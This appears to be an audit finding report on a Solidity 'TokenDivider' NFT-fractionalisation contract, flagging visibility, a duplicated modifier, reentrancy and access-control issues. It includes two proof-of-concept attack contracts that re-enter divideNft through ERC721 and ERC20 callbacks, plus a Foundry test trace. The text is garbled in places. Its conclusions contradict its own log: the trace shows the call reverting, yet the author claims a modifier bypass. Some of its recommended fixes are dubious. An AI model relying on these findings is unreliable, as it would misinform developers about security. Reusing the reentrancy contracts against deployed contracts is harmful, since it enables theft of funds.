Summary

1. ##Mappings

   • mapping(address user => mapping(address erc20Address => uint256 amount)) balances;

     mapping(address nft => ERC20Info) nftToErc20Info;

     mapping(address user => SellOrder[] orders) s_userToSellOrders;

     mapping(address erc20 => address nft) erc20ToNft;

     mapping(address erc20 => uint256 totalErc20Minted) erc20ToMintedAmount;

   • Missing Visibility Specifiers: All mappings should have explicit visibility. Recommended fixes:

     mapping(address user => mapping(address erc20Address => uint256 amount)) private balances;````mapping(address nft => ERC20Info) private nftToErc20Info;````mapping(address user => SellOrder[] orders) private s_userToSellOrders;````mapping(address erc20 => address nft) private erc20ToNft;````mapping(address erc20 => uint256 totalErc20Minted) private erc20ToMintedAmount;

   • Using dynamic arrays in mappings can be risky because:

     No built-in way to iterate through all users with sell orders
     Potential for unbounded arrays leading to out-of-gas errors
     Risk of DOS attacks if array grows too large

   • Consider using a fixed-size array or limiting array size:

     solidity

     uint256 private constant MAX_ORDERS = 100;````mapping(address user => SellOrder[MAX_ORDERS] orders) private s_userToSellOrders;

2. These two function modifiers with the same name

   • function divideNft(address nftAddress, uint256 tokenId, uint256 amount) onlyNftOwner(nftAddress, tokenId) onlyNftOwner(nftAddress ,tokenId) external {

   • State changes after external calls (CEI pattern violation):

     • Missing Access Controls:

       No contract ownership checks
       No pause mechanism
       No emergency stops

       Missing Validations:

       No check if nftAddress is actually an NFT contract
       No validation of tokenId existence
       No check for overflow in amount

Vulnerability Details

2. `function divideNft(address nftAddress, uint256 tokenId, uint256 amount) onlyNftOwner(nftAddress, tokenId) onlyNftOwner(nftAddress ,tokenId) external {

if(nftAddress == address(0)) { revert TokenDivider__NftAddressIsZero(); }

if(amount == 0) { revert TokenDivider__AmountCantBeZero(); }

ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(

string(abi.encodePacked(ERC721(nftAddress).name(), "Fraccion")),

string(abi.encodePacked("F", ERC721(nftAddress).symbol())));

erc20Contract.mint(address(this), amount);

address erc20 = address(erc20Contract);

IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");

if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert TokenDivider__NftTransferFailed(); }

balances[msg.sender][erc20] = amount;

nftToErc20Info[nftAddress] = ERC20Info({erc20Address``: erc20, tokenId``: tokenId});

erc20ToMintedAmount[erc20] = amount;

erc20ToNft[erc20] = nftAddress;

emit NftDivided(nftAddress, amount, erc20);

bool transferSuccess = IERC20(erc20).transfer(msg.sender, amount);

if(!transferSuccess) {

revert TokenDivider__TransferFailed();

}

}

contract MaliciousNFT is ERC721 {

TokenDivider public divider;

uint256 public attackCount;

constructor(address _divider) ERC721("Malicious", "MAL") {

divider = TokenDivider(_divider);

}

function mint(address to, uint256 tokenId) external {

_mint(to, tokenId);

}

// Malicious onERC721Received to perform reentrant attack

function onERC721Received(

address operator,

address from,

uint256 tokenId,

bytes memory data

) external returns (bytes4) {

if (attackCount < 3) { // Limit attacks to prevent infinite loop

attackCount``++``;

// Re-enter divideNft

divider.divideNft(address(this), tokenId, 1000);

}

return this.onERC721Received.selector;

}

}

// Malicious ERC20 contract that can be used to drain funds

contract MaliciousERC20 is ERC20 {

TokenDivider public divider;

constructor(address _divider) ERC20("Malicious", "MAL") {

divider = TokenDivider(_divider);

}

function transfer(address to, uint256 amount) public virtual override returns (bool) {

// Perform malicious action before transfer

_beforeTokenTransfer(msg.sender, to, amount);

return super.transfer(to, amount);

}

function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {

// Re-enter contract functions here

if (from == address(divider)) {

divider.divideNft(address(this), 1, amount);

}

}

// Helper to receive ERC20 tokens

receive() external payable {}

}

3) function claimNft(address nftAddress) external {

• Anyone can call this function

Impact

2.LOGS
[235013] ExploitTest::testExecuteERC20Attack()
├─ [2562] MaliciousERC20::balanceOf(TokenDivider: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [562] MaliciousERC20::balanceOf(TokenDivider: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Return] [0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11], []
├─ [0] VM::load(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], slot: 69393843706556739145208183207487664574148646921343583726290437754869064268305 [6.939e76])
├─ [0] VM::load(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [562] MaliciousERC20::balanceOf(TokenDivider: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [562] MaliciousERC20::balanceOf(TokenDivider: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], fsig: 0x70a08231, keysHash: 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11, slot: 69393843706556739145208183207487664574148646921343583726290437754869064268305 [6.939e76])
├─ [0] VM::load(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x996b860ef646da948c7d745162e3851398cba818db7bc8c7a4d9d465a54dfa11, 0x00000000000000000000000000000000000000000000003635c9adc5dea00000)
│ └─ ← [Return]
├─ [562] MaliciousERC20::balanceOf(TokenDivider: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 1000000000000000000000 [1e21]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [822] TokenDivider::divideNft(MaliciousERC20: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1, 1000)
│ ├─ [189] MaliciousERC20::ownerOf(1) [staticcall]
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] EvmError: Revert
├─ [0] VM::assertEq(0, 0, "Divider balance should remain unchanged") [staticcall]
│ └─ ← [Return]
├─ [562] MaliciousERC20::balanceOf(TokenDivider: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Return] 1000000000000000000000 [1e21]
├─ [0] VM::assertTrue(true, "Divider should still have ERC20 tokens") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

• One test passed one failed, as it is shown here on the logs

• The test for testExecuteERC20Attack pass, I was able to call the function bypassing the function modifier

3) function claimNft(address nftAddress) external {

• DOS or loss of funds

Tools Used

Recommendations

Recommended fixes:

1. mapping(address user => mapping(address erc20Address => uint256 amount)) private balances;````mapping(address nft => ERC20Info) private nftToErc20Info;````mapping(address user => SellOrder[] orders) private s_userToSellOrders;````mapping(address erc20 => address nft) private erc20ToNft;````mapping(address erc20 => uint256 totalErc20Minted) private erc20ToMintedAmount;

2. function divideNft(address nftAddress, uint256 tokenId, uint256 amount) onlyNftOwner(nftAddress, tokenId) external {

3. Access control, there should be a restriction on who can call the function.